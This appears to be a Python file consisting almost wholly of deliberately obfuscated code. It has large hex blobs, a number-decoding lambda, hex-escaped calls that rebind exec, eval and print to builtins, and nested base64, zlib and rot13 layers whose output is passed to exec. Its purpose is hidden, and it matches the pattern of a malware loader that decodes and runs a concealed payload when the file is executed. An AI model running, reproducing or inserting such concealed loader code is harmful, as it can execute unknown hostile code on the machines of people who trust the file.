+7e958d9e488079619e8b27d2ac317b2431acfbc2f8f8cc33cc04cadc9d91d3c0787b3a69f3aef98655e23eec1c15c6dc673bc9bb096fa81cc59de03483f21eaa3ed0eb63b77266250268c18e646904b635565a3956c13ad5b114cedc0a30f763d342c234c4be9399890dd6ad23a530d63221f2bd4fbb8f9dc9d0e893669be836fec17d5c48c8595ac3a9e84514cbcdbd1a6feba4653b9679aca603eb6b5ee33041d451e9477442fa0e6ebaf5f73a059e66da1ddc47fa45ea34438aeb9f35651067807a859b39d4a667d4f2f4756bea411c349107964e827ee39af0f584c7da9e9cc69bb52c6ce8fdb5cf0bcfb99796bc216e348eb026ec6180fa31f35bce511ed0c9a9f07345c8ca34075963fd429b7f92b955fb4f901c7fdd6050af28c5072622faf11bc736315206b3f9b8f869eef20e58247e512d8b1588077275eb733878816fd680b863bf5e3b961ca0b9eea402be19d62dd863a42c9293f9dd0d0e014255ba5ca4e363aae84c48afb268fc544b35aca70b99203817d6fddaf5cd1d9e375da19e3250a3f905a37bfed8557c561ebabc5122cd46f16c57c91762198abcf857306625052b900f9745304fc4b60d365cfb4cddebc782e55ad07473311af0b8ff0cffea5e5b4b8b9e9918f4a4e33253cedfecf5c87169cba715313b2dc44d0663e652883adfca974c39ecc1446b75b25d7326ee8b8734b2cc956fd51b2adbc3be0cda9d4821cb3e51b7be84345a6e9411f98ab20e2e01e3b1fdd61f5aed7f18704e52c2232809a9aa61d1a78f6e2781850cc870f08b4febc01f38ef0353cda6e9b4ee17a7b8a0a414c476600a7c09a1d3adbb5370056b838865af7240a397fb5fc89dde82e92ed1453d6faf62ad3627ae04ad6b0834121e35c98c4be8977cf54cf8495e9a117475da82dc6ed88369f047ddad2e681c906a0a2777f9bf341035c72390fc937a8f6e85323f0b9c6eca726416ac22fcf546dc7e25ea75cfbb3a0dee563cde6ca0b50968a6f6875c3737508035d7a7a38dd2c1bc81b4d60b1d2ea2b5da5e527a61df167b472bf02d151dff98bc0c36f5e926fe27c909bcbbd949b931a45c23350ffca7eb600d9d03e77d6ecb9ad783f6dbd9a48a339701679ff555bc954d9063a0c83053728873945c78fdf650a64b6d513d8dcc579d6dc8c3b705dda95866997354c0ab6294803b245d784c179f80de7972774db4d1b247fd109660a3f371ad0a99c36d1a78cd0a08464334b79ff3965c1eab0ac8495171a7182dbd3a039354cd92a9035294e54d9ef084c6dd68884da57d30f0cf71c6b2aa2341b421650ac47f7541860a138e6044e76104f50ee4fecb31593b07a3895688cfca5334bd2650c22eb4a4b0fc23c22afe1072d497970cf3a6a668968c15f03c9cddf3e9c58369165281ca96fc6c537eb887443ba24ea25862f932674f627d27dab25a0a5cfee17f34fd87ca106265f25c615cfc72471632731708c01814700c8823f875d928059b3c28c8e4451b7947bd6981c4a9213926e7efe1ae0f56c9450001700660e01ee0801b5b993f1af15477b2795d3d6745e78caf985f2435ce45b38fb69dfc4965daa19ae6d10fbaa5452fcb273450f4513a7321ab03cdc67b3288da43c7def40558bdc88526f4f263fd8f525f290864023e6197dc119831f91f992a65dce02f56154f036b97360e3426320dfc0f77bdfd2c4e7882721adf0f7c4f567068aeb1c8c665352441c6d142551fb865747ae9239e82d125c574801e608048b0f50f4c147cbcfdf844bcce59c2a4f3d11884b9f3d64171f076695bfeba8e7c2c96c4a276c7d13011250edc38dcdaf876e00727b519704cd16835054badeac032471374347e6d530713bb68a9369e8e2c808739d9bcfbd647b335c9e67124067b414d5afe60738a8333784ff8f63ecccf9aa27cae25f4ddce5da316385d15f5ebae3a5aa0a5a6ef4df6abdb70e21296ee008ab17a094cf5dfd6c60c7d0b4918e5ccc0b904130ab3ac6ca5685175e5d19e267426e659a2668c66f3d7db4feb4de4b5f23a1c5644d2e70049dbee5f51bca7219c6876b4551f719a157cb05a01990bfecd0688dbfaa4aa98af77b80953e0a17423f333e81e24d97fb1d642269ef40920cdeab28b6b0ba843e6e8c866f632ce0eb34d8166a13f6fd879f6853f40ffd5dfa5bcccf4c264e79a95086d4918b9c5e45563e6999d49d7bcf9011bb72763fa2ac79766c01d88c94169a124b2b2c0a9bce062f28e42a4e125665ff7a5024e50f440883bb78912cb40f1fceb0cab48598565c5b58ddc424e790c032866eca67e94b680c9f870982be2dab6ca01e28465ad6f9ade0396b85bbaf3bc7c31cf863da982f9e35f3bee91a30443080b8b53932b4efb8f06126863364e52306fe6a33163da81708bc03666676c0b10e178b83d0ea0dea51801d19fa84bd5bc18e37c8b87461ed1b36ec8f1b1efb9cd532ca345b8109fef0c84b4d5f6cb9132626d27fc9c1265877cc07041928b774ff103ea5bc12f6c988610fa8d4c2d8509b766bb4aacb87a56b6f6f98043fbab777244002597647747415f8cda4ea63ae3d391f558e55b889d765321e043888f563e4b7cd0ba544641d5d8ed38068ddff1f9b00f5b52a8297b14bee00f248ac8285e64c325f8dc411eb90ea2340ae3191eb02548d4c50ef7f9eeaab8f0be8ae1d0f75c5797a9037109537669ba6993af4fff3cd2d2afecb13c3066f672e141fb453e3cac895472a84139e7633877b657f3ec0e80edcb8871607caf0efda6b453930b5c8aa93ea3fd0a9f39304e76862e97de28367ba2781083174c785fb3a7184bb657c771c927623f45d707d966640a4c20e7f235e1935a18a30001579006b8852a681b780ec8aa59b7ca9d59506652c40ccd44be93a96f0d5b3817d8a8183f3c3f4a5c25f56231f3dc7dbb3b3908142fe6f74c6074560457447ebb3a23f4700e425c2f8d1392c072b7e24c5070232cab338579d47553a885c034de0e1d583f7519197c6cf2633ef3e81847a37a20c7c44ff10ab3affd0e11c699348d16ea600e4e733cf3be9bae9dc61f5098d95a3fae644c2cc819763a9f389d449a42d6ade58a487d89126ce914c71a8a2b032fc6af969ddd763699130893e2f07701d28b3d88a9241472b1a05bf7fdf6e492d2f3abdb2b8da6204d641b68f0474b264845529a2f1f927e3dd4e03e65526306ff7948de75ce54c8c03a8f93af25b61018170d48392b9a08a8b2ce4c2cceddfad487cef0d4c64c10894cf4882cfddc2bae51a0df3eea6dc305488f17b1174e796b5a962cf8c09e029299c0a3eba834e569432991956dd3ec8354ab82f0ca41fc360ed66a51da96fe3b7b11cfbac97c5c6aa2314fe055bf76ce06da3697820b9ffaf25b3312b2fe52d181964552f643838d2be8d077a1339fc0c2b6092eccbf08d1ba9748db3321daa733d290cdaea807d3a96f0c9a355d81073ef28e483c7a937d3bb89d14b5f496d614bfaa8195856b2e5f2cbea9c2d6bfeffa362948897a9aeaebde028d30f4652fa4 +e4739e674f279a1d5bfcceadae439d1f90fa426257d06d3b5ed4ac11acf387b318c25cd6967faca31628fd890a713e8d975c06c3f0871d35e4cee9a157dca7ee38b972dcf8fb9e38c901264af68fa29d453d264ba9319a2d2f79ad1af91b62ba6a0077737b3265983c50c2ede9e5f534bdadbaf538b381ad961a99d9ab94e80b74acf375db4b148cd1fc31e6bbc697b32b3ea9657322b7e1b1bb66e7ae68e98b1409dd2b968c7118d209b638960bb2f6198c8a3a837133e0dc837d4d041a3e12558b1104bc914be0854bc1c5b5e4c2779a12d4451f1c0a607b7be89061193584e64a4ee0bc79dd00cf093787dc1fff9d87847c1b397ec1f838a41479062c41f93e37b4dffe4cb9c15b4f0baf2e72657a3b4c1d118180a0ec3cd5e280e93fb36280b6ae9a1c71a10e82385a6717199b81448503ae493ee153ed3055cd3f61aa84c10c7e8e4b39b9cf93f0f877e28adc5eec20c477ed26c70474c7540fe7edc7fd8ed0143d71d8da83211e46ad38a3447417df5e38b348a8fd36c4e953efd21a5a6ba1456531e60d6e5066851740e878ae622326cc6fe0267e1569751ec33e6b8b442b78784facc27c7d2621b3d9bcfd22eea9a479bc4091c5c33779b3db0e3dc32961a0be45f56d72d69eda2d92898d72411f477e507c8567e4aa3c79121e8ecaab195c5348d565c4086e262fbdd7d9e3fce77ed6727dfaab69bca78ad90909eeb3a2ebfd75bb7cd43197476089181a27e7ed43da9e1915b184261f5dd0341cd7e078f1498002d8831791e36812b9f48840312871160c401f00c91aaaceb3f12a5ca4d6eb45860b6564ba2eacd3f468aa70ec0b8b539e9881381d8ffbd4299bd8a6497f4fd053aa2cb0bb7c49ddfd0a1b37fdf09a41f0a7dca26bd17e43005cebb587268a2c3dbe59a60c30ce5cc48613999ea775a46baf885c0873f45f3253402cf9654e5ad9f056ac18ee7b480a8065cce5a1e30be69e8fa05fa16989d67326a06d0ea9b7a9cc07980f82f77979aa6929b5e034ccbfedcbdc3c7a2e5a577ee4884a024abb48a89242b5398cd8d9dbff97b18e55ec0435af16f9ae6e9a657d4fb2e39acde7cb4c4217298cb6b1decfd25357bc52cf498c66755c5fdf8f2c22a4bd0b166438c8d20e7d5746bd475ce672c8527defb29f3f3a0552d55e1e69e252e50434843cac2cb915ca3f87bfe9eec5e9f677697f1ac72c664af143e154a633c0496c2abe9e0a73e1d7cfe2baab1f44bfc0b0e510184dd2627c34ce5f3acd857a0d6ec1862ecad5eaa3600d15dfb74bcf80dc733c764b8067cfe00bd96192b58c37b8c2d6e52cd71729fe43c969c54cabb2ef31c6f95de58b4abb8365dedc3a1d6679bdacf00b4232c923029bf66d02fee16deddd960e1e948d99dcdf6a5dede8a07ff95ebcd81e9c69e83e96da1f05e7dca7a6a36e63c4d0c4f14884754c9bd332c5b0066f6a8d52c4e7d9d7781ff7611d96b0710b8d3f7d4f024c202a1c326ca4da71dbf9e4da401ef9d8aa96d9e91e23166148968d9c42195ae257a2e85499cdb5215f56ef610c46d2d9cc7470ee11fdee53db5811a442f328a7911c47c313e1109f89cd5b613bb59371e22c9a3718f3309c1b8b3e845132e61ee60aab73e7e5f5d5050a68f577ec6c1011bc747f730a2666861bef0e8bf81c268140825b9720dea2448b97338d461d411832f67404747e20c9f230538c38e716b240e1b3878eb5e67f60c929741222b86637014457cb488972754c5b855e08fa73e4fa8206ef50d7beff5a517ec1096740c62482abcb317527dd7a3afa19e36ab1da0a993232b394bcc65d76cd086213115040840e311c12142b6a0b6708b1453236d0fef71f574a5b158c790eb09ddff2b9ffa7a1659fe81c1501b300f911bbe33e44fe9a54992784ce8b9f08f6b31aef7db8bd26f4371d8ba35e8e0e4d55ee88d9fd5118d52b864f801aad0c4b60d8105f92d17f8cb2b06ac41881b7cb5bbcde06476b60ff122ccb651a9b1c9f1ba431f405b5a02ec08a280744b6a80e9e8c7fefbec04d1b213fc8b8a698736d02700de16c839b9acfc83b12299d41dcda6f9ef19f4e32b0e919bfa42415a5f59b1428b0d2066a592ade16411f558ccf84df98a7d0aca5edf3ddedd335c8aa4c08fc0529e2dfd0796d9908d660a44c538de6b80e7ac68dae991932319c85a5bc979ed90c07931f5f3f4a36725d0e2177cd7a99f011eb7eda079f5e24c41ad47a9d8d9dde92431584ee5cbe28033417cad88d707e887b73e4bd1eb3d260e0efbff776202f5f71aba400cae5a624fe682bfb140830d4b532b6e3eacaca8d1d36692aecb9ce1f51a2ee9ce77df653ad3282937fafa14d8439975892052723e3ea412d8f81e0860c7f196abaab96abe29b1ad1f19043e3157e70ad6a532427e2d66b4a13c0bcf578ac5fe216a4efd0fd511e26c9282acda64b283feb13eca9837fd27fc2db6c389b93c3fd06c231b653ae5ec361d72f10abfa966955142d073840e69b8a4493d49683dde531a05c8ea67ebef82711f76c123d00afe45c0d84221ddd5e1e0997a09497f24b1906db4942ee9e1eb8a403831e26b49d5476c0ac9881faca98fec22746fb0a8f1f07b5499a2e2e915cf06bd68d23b05dadfbae87e2c4aa3f1300d6f65f760d1824e267830903d930d444d41cc2df3121513595e8188c9868ed8ee1d9e46192a9b7e401652a903f3c12dee68128e42e529e0148af0e64d430c30ec333a3be36330f5d741b3ae17845aa4aa7b383ca1ff95e4e180cc8adac524be260d3ffe4a1c5f9e269f5a554106434cadd1c1982d7c0df095e9210e79aeb56ca57cca3e9c6a64a96f96b3059b9223bb87eaee6a0c2cf612425bea0c21355bf11899fa9209ef070999afe864e454e32f1fc78dda098cfcd2ac1401e4733b23702ae617b193017a5b301ec3847fbb1f237a32a9406ac849f6e9c8b795b424e4752451763e6a2aece252347092fac07a3b7f0e2a151493a9a1a616157322d844f73a266b973f29ff339021a5ee8fbc73370df8fa0744ff1c1ed349ad292d0245617f45275c94b807565270aeb1f4c532b39d88273f92d16058fe8ad800019fa5ec2743fcf7e8095daed76c46da215a73569f33f79b26dc664b9d8e96d0b611db396ea1aafeea404064a4518a9511c7dcb52dd8341f8f8b5c90a10d1b741ac8f17bafaa9b529b6b631c5b36b83341a9699e9b86e3217a92d5f529b734b5ec8845012e009d20a5e5af6584c4f0c26bc1dd3cd057ed3f753f59390684732502138760def4f330baa81b514fd14b9718998aba089a271230ec5d3dfcd2be1814fd596388b701ea6557ca9d90899a2a1c5527b78c9c4ccfab16abea8b99ebc129f36ff85a9a10e7b4a91c21e8eb110d7f0408d94fdb9754239281397b54723e56e8d7700f2aedffadabedd47e8c7eae1f0d5128f44b4dcb0155b4ea45e10c48d50c63a4c52bb32bd32696a29aadd9116fcaa307e6eb207638b9ae5367251483ef39a3eac1cbc28e2782bd9923405f4a34e2db1fc00da8a1e7716e4 +501b75ccf42ea8a6221cb3b305b8605b4675cb735bf9d3d67d80ce36017063ac30bed9da2957dd68345c35510b285f2d1612f5a135ae3eda860460e71649c6791d0d7cf6e8e6c892dd1298a9dd2455810340d382fec3afa9f1dd147f567eedd0a77ac36157d5f052eab9b638dbb19a33c2f05d49c3e67f1c04544b5b499168a3028a33192440a53973f1e2dae261d9b9c1954a63a7fda65decf7c8a4c0b18b88896924878f7dab076f26f5bbd330d041b0c30a6886c4c96167935e9a744712df49ecde2df55e1ebd7168e2f0804cc3f391eb5cb43342dca51480acbd8f664d7354704f34b9db7dab0477985143f6b7f6a3052e916075ee5768c3968233b308ceb42b9be2d4321aa8eb6e573dbbd6fdfb7fdbe0cecb1564e12675a869ed49ca766687738ea701072607e46ee5e64faa7fe1d431ba23025960b7731dd351eb3ed0c64e54dae98ae2df69571f595f9ba429ae9471c1e603d0e9cec4ba0eb7bbec3cb828aeef457a99375e5b629f70067541f7fcfdbb55865da5c3061e6742b8664d3bc28318667cde76996db972b586b9d39dcc64b3ea54abb8c972d8dd658d848587f980692e0bfbee23fa21b75f69cf389f3c428d1ce38e11a3211de4607501b9066b4a1d118dc4e82cbb4c17a214ea8d1505de484c61dc84f784f1f6894cadc526b730b2783f46e62bfa96a80b284555afe0e0dcef4362a50406dab5ca24b11f360b0c3b9478f6e1a9840f8522610adfc79f3949369d08d120da4a279713faa96a45bab0356638a48fd57ed6362c760ea98008bacbbc07c8efe10a80896e073335d381effca8427d6c8bb6d867a1dac50080668dee9ba11a6095738124d1134e0fca72d33b333f119e35c1f8eb9c74cdff92ead804e6e79604eee1e997897cee8b3881da39d6eb0bec7006ddfc8dc0d1fb8b06311295c45c15974a81b02538b133c692d8d72a7c6df2b75450118b1cc98c1559e0c129c1158751a15953ee8f16658b9708b8c0543dac8f0ac5816e9ff5933265c66998b89d6f25ffd34dd1c95fd2090ff4b66ff399f8fef2bd3fc6d835598078ace0320cbb1f62e74a3d57196acf8707a1558b73cf2bcbce0a8c2b41629a88d4b487ea18d1f55b8100fc01fc2eeaa2d5ec48c68158f006fcf9d956f35f1f9516da42cd2a10556fe92ae8f2266c4cff9223c2b73415cb7c609da1cb5e9edfdbebce6ae0ef985fa95acc24e13f9238255ca75268cc4697dad01bece5cbab5b250197038856f20401626c08fdbfc835c2f743b6d484aa1b7b7f10ea57b8d0fc2ba24e7b3f37f206a4ac9aef7a221f7844c99261eeb2d48a54324fe5c48948c99f01b98207aa19da6761546975a44e80fd734923050aa63b9717b6786dccea3daa6b472588ab549e957c351bb26a8301dd8b068d2172e3f16a99313262177f818d4b787f0cb71c7968bd5e03c2f8e2a3bdd98b223d6f72eac5a67b0ddf8eb08d57a05c1fd46d1340c141772418f0483a88806a13cd1594e47382408be3864c7d914dfcda4c3a2f177ba44cfcfb0f13885fac9c9940e99c5d155e2fd931bde9a191870a1e6f067ef47e9b134dc2f4ecffe57009d7e1c2a5367f3a24a8f107e9ebcea9328fbddbbdeed77700963e0461c54efd2f0a25c37dff40179ad6e8d6b81eda33a2da2577ad7cc102342c98829d8d2e91e4795394b4732573d4262fc66c79cfe1486645e332cab955e2dc9b80dc67799322fd13359a008682a39f0cd90e379e5c07b392a4b7c9157ac5b610a704d05a507de170ffd33e316b83f166d1f062664426cf214bfdb88bc477e67695aaf7641c5972bd731a3e8daba4d9a3b3d06242be8edd23be0ef73da80b13d6ecff6ef548a8f7db58accbd0782b96259b48439e03710d807b2f4dca32287dbfa4bbc04328ebd26ef550fa77c2fe89276350cdbb1ab52be2bd51b7a69f67213feaf13b1d4aeaf8104c710600917fc32f5ce58a3c8db7b912ab8c24db946706cd377832d9333a5981acc6de98c3e63ff8de523f797d0ef3dae6607037cac9bb74ec4b2d682d0a3f953ac4d50fe4a9f2c6301229b06f87d1a7b513153550deffdca4fbd93f0f2ad524d5df137ec3b2703f729319c8a648a908f83196dc342f7d682d3f08c57b73ba85ac1520e064d8005b23335d67b607f5d099b41b58b80113f73fe076761f34c7e5d73df3b4359ab531de0c19d0a57845b204c4d8878a481d5bd7e2baf9b692f73e796c6ac801cf1b4b260946c8735aeabce7d79909cbff29a9715d0169dd367e497a998664b7f69225517dacae4a60b1adddf70661d6e29e54bfb13cffb8e6ba1d01a54c5370d0fd3fc4ecc2b18549651a226e5eb753466eebb09c9eda3f6e3a692685be4ca3648bb1194d0d6808d1c89e74761e7be8db607d9f54910c0de3ea34ffef2cde3741324209687acb54acdce4782bd4c8e7b7fc9e6d543fd107fae8badd6a67b7b00fc615f0358642bf2de2b83bf1902f996a7ce003a19602b3cb64576d432016da80c6fee47de0b6f9214a5bdae42d6d0e4fc5ba013b196543533951c48b95b03296108bee971a6a942b38933697fbd7faf432c65d03bfea641f2c532763a897b393050bcf7aba2b712a9fd8ba4000109e763c7dd5b340ec9d79c2a3e53d3e16dd139971289c05b801c2f43db011991536bef428006cc0725367741821a62a8a3cd72aef1744086e90750443b27134012f5a705aa03d4759d3614df463e8405b21959d10cf44c111ee782db464044fa2c0a4159b89e801bbafca3e26f1009bb951c6b4f93fb9198c9553275814601fd38d8e527c2cb01753de21bc90227c9640e1c734f26fb11ab03d7ae1b9ee5733845050803318c4c0b02b344917861da445f7a7f2df4482ec51222bbc2af439ba6984b7f84044648f2c3ed931845aa3fac96604764c1d8e44e362cc07148993041b91a861140bb9b23b59eb955084561094536df71b56127ac40e9b1788aed87d10067f4be85f20bee892b8f3739c85f8eaf9ec2066007dcd3e8856e2388f33d4b566a80d4016d2d7463dc8cd524e807332e61ac33c3e026493eaa7924c228642656eb855037e4ca3c57a2c15be4f0ad652a2b40c4851b63fe0f83b4bcfc808536d89b9500e47dae80b35655d1d6db47ff4c6951f0f7b7c953d4f75f56516d21c52d420190de4a7ef24cb7b34892cf37e545571a4eaa39ce48796bdc5e0f26169500047161c178d5166ccf0d8783662375909c4d256bbdd7823d9e51fb60af076ec7d626032f82eccd483ca9a6cf0423ca62b56f1fba48cd3fba65adc397dc9d94291913ad9b98ca1edf23c3055f36a6f21474d4ab48a9f4989df5aa51dee24bb5bc324f7c2fe0dacfe2eb534367745921892a0ad887c247bbe7c2ddd5c9235fc3a8073b5047c7aa27ba78ab32664af73b4ea30ccc1888906af1742087948c8a7b397d202b1d25dffe926ef7132fa066061f9060a21d9dea822c31f21886717f938684f824e07a8611136272aefe2681a668f17bf0edfe077c17a47d758372fc1bbc154a7b2ab3cafe4919b +de5ff741bf8c7eb58f9043919e700904c8292940fdf8ea99fa0ecb9a4e3a1ec170fc32d695c2a7bf700ff726895a3131e40cf3b90838754da5b52256f36dc5f62f01fc5d3605cd59194505e3d0ca098f5bb4108e9e0037df190d1ef243703a1d57b207e28c12a1640bd52a153179372664830d07e8a79a4a13e08bae224374e72dcf8547e0672ce72b751bfd30f7a4bd4df9d36c42a5deea4aa0ef14b8427042dfe7ad6b6ca2161474e5526ca253f0011d44b9443db0ac3f86160ff12499411ea4bf6cd72901cc17aa2c19129a15d6af61095f676b5832bfa939a9414a2491b09d453545526688545d899810cd62e0ad0e67db7741a46b64198594a20e49329ab49b246adf67915adb76b4ab4dae7cf5cc7bb69757d0ef49088fb2cee39ac08efc8d6dfb90c88fba591be39ae05007d120b3a2cefd4b2e032132f425758b091eed946a1ebe553fdce0dce04e6c616c0afb3472b0651380831af07942cc878c8b9e7388c6037680d4dda0621ac14571fb2c2a8fd340c1c70cb3252e0fee7766f533ca575cfffea828a8873a7b1094d7098c8ee72e5eec9f2b1ec5dda86db58c5d3efcae6703b884682fbf02dc929cfd1bce9cfe9f0c56a6163c3c6e51'''.replace("\n","")) }) + +_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29");__='173340 8805560 896154 1313092 2579318 789730 639744 257568 342528 2087616 2921076 4804986 6045060 9043621 825024 10964520 165236 10846079 7787403 5794673 5243655 299744 4538705 1367584 664545 6389362 10310720 9037509 7260204 3508768 653344 4463196 3208164 8624020 519530 6131205 7261440 4221063 1381882 6542480 4191892 498104 902270 320544 1697728 3039584 634528 7135856 1776462 1987965 967780 8944064 478680 3175192 3985072 4425435 10842048 1325728 7531440 7633010 5469975 1958892 4943120 5254416 4120092 1846784 1527714 7404714 10891392 9482031 8608937 1154255 9061224 1344465 2946950 2578613 3627143 5550195 3078790 5353600 331344 10291172 812960 1380026 7764848 5969382 5929609 362135 9281650 1440224 8175344 4208490 11217200 4794167 3007092 1178912 11069300 2271948 760160 4902795 804000 5517225 1789996 1516706 741321 4934996 1758309 2770440 1351875 8995800 359760 1477189 951180 181760 3479628 8529192 1587342 5133108 934755 1248856 1406160 1704386 8452184 10446148 3049408 8412656 11119810 1758908 3089686 1021498 9698528 5677683 10506594 192276 2354874 5461560 7644050 7106616 9152823 1089820 7449457 4295710 9534888 288267 6200901 2646758 3672592 6379120 2942600 4417671 1003174 2970612 10663030 2005416 3542756 8935320 2747460 2720034 2113058 1165272 4704612 6906077 7357080 5260484 336340 755160 6032766 6132159 1203094 77220 1732608 1854816 2815872 1970496 6815538 8029362 8617818 3163834 1564512 930846 3031055 181516 3260320 5728820 1546976 9100520 740000 7965930 8766543 10715040 6323559 5994690 1169164 1185536 566711 6388440 7032795 9826175 6728000 5532075 2583136 2931146 8405350 1619872 5879917 5016720 926550 2118496 3039936 1393344 727712 2516034 6586692 7821615 4410358 524576 7927176 5657655 1877632 5866665 7819006 10541440 1572759 4490688 2847916 2985984 813185 5925367 4485488 7177060 7200490 3422826 2657632 8254118 10564705 1563744 3411772 2394104 2061576 5512698 8648630 8651875 6691857 7866824 7225944 341040 115168 2461408 1892736 2048736 6437016 6276051 95634 501054 6113256 6333811 466080 2948985 846560 1669600 4671840 3008728 4262635 98280 1889095 1744275 1755374 3454686 8880704 1578927 5198115 8601012 10791309 5382432 2436896 1595654 4111848 5106092 5949689 5632770 6470360 3818828 5255612 3011880 10668172 2981664 4272485 9900464 205650 1949682 703728 5179038 1896444 3653065 2196094 1743308 3842012 4473588 7319060 5451206 1492424 3905952 4672560 3002312 697714 1109967 5291776 2804439 1548729 5403888 10338762 925452 4092181 2829990 6361616 3835572 4719923 2463289 9747055 1062950 678454 7926048 5279280 4518432 11968 386490 631840 2649152 1818368 2263936 2380832 329700 5344494 2636032 4348252 808080 1355880 1742832 1808051 707250 5317126 1565138 226800 10811874 9121905 1697507 2532802 641890 1702592 923808 1214848 2609888 2912320 987520 675008 3024608 7376712 5365322 4477066 5118543 3318868 299768 3844560 8749328 772436 3216901 5420 2566816 1867872 1405152 1125952 8029298 868428 10079160 3219120 1489120 8910220 496680 3599520 3528112 3003650 2780497 2540772 4462943 2447928 7969170 722007 4832446 5683014 346320 1151008 1722496 2352128 2965408 1188128 3167776 2512416 966080 10928154 5252606 8128675 465090 3124050 351682 796400 6614160 960700 2179314 658690 219936 2439968 2776128 1162688 3669435 2449428 2950304 9276749 3374520 3104000 11132240 3961374 545259 3273443 358741 6605060 3092942 10152000 4178525 180083 2362166 46690 2587136 177824 2894688 689920 2751584 1276544 2648288 3129632 1765841 9990750 3758632 7037264 796352 7664772 644896 3605397 657360 1030320 10002470 897492 7808202 2996120 918064 162894 1239471 3436180 3194232 2711296 2371024 311149 1360288 1846395 7323545 251744 9497030 148480 9319876 4303024 9047570 4703754 9365265 5626116 4798106 1910240 10078830 7144092 9834324 1653440 8642562 5062500 2781030 1635326 782240 2229568 1040608 802784 809984 6763768 11433480 1505809 1679931 1201560 5953818 10601808 7089190 5075510 448280 6688304 2111000 4030997 4081580 8018874 3351685 6049211 7803900 3757400 1161571 2562172 495520 2928896 3056576 406880 171936 118670 9409362 7237560 322542 1423797 139104 11566940 2242744 507990 29472 428640 1702240 1983808 10029199 9099840 8076061 7080084 3203200 4696896 7679232 1763451 943270 890070';why,are,you,reading,this,thing,huh="\x5f\x5f\x5f\x5f","\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f","\x28\x22\x22\x2e\x6a\x6f","\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c","\x31\x30\x31\x2c\x39\x39","\x5f\x5f\x29\x29","\x5d\x29\x29\x28\x5f\x28";b='eJyLKi/JcnL3M3UKLDFxCizIigosMY1yrzAGAGYBCAQ=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\x5f\x5f\x5f\x5f\x28\x22\x22\x2e\x6a\x6f\x69\x6e\x28\x63\x68\x72\x28\x69\x29\x20\x66\x6f\x72\x20\x69\x20\x69\x6e\x20\x5b\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x30\x31\x2c\x39\x39\x5d\x29\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kMtugzAURH8pOKCGpSPiBoOjIFxj2AFteIRXWhtsf33dtOruzGikmXuzYSlZmcnZnLoZeSPBoeKp/xU5hyo26Uhe411uGID0pGPgK4LkNgPL+6IlNHwyf6tvE2Z/2ukXE47LINc4ghpuQRtv8e4/S1nNkacIhh2h54qje/+JvPcZ6JZTWC2rrOcyqCZ0cDlSghh/YFSJCbsCj+perL04JsLNrxev2MSNJYX348Hk4kZI1bkJ29+dwvao+ghCl+CiegDp8b3uHqiRizl/2I2SUN2SodlNVI8cSGe6Ptl66mUxqb3Hb/ISaoKDqkBqzeyvvgEFpGq5")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})') + +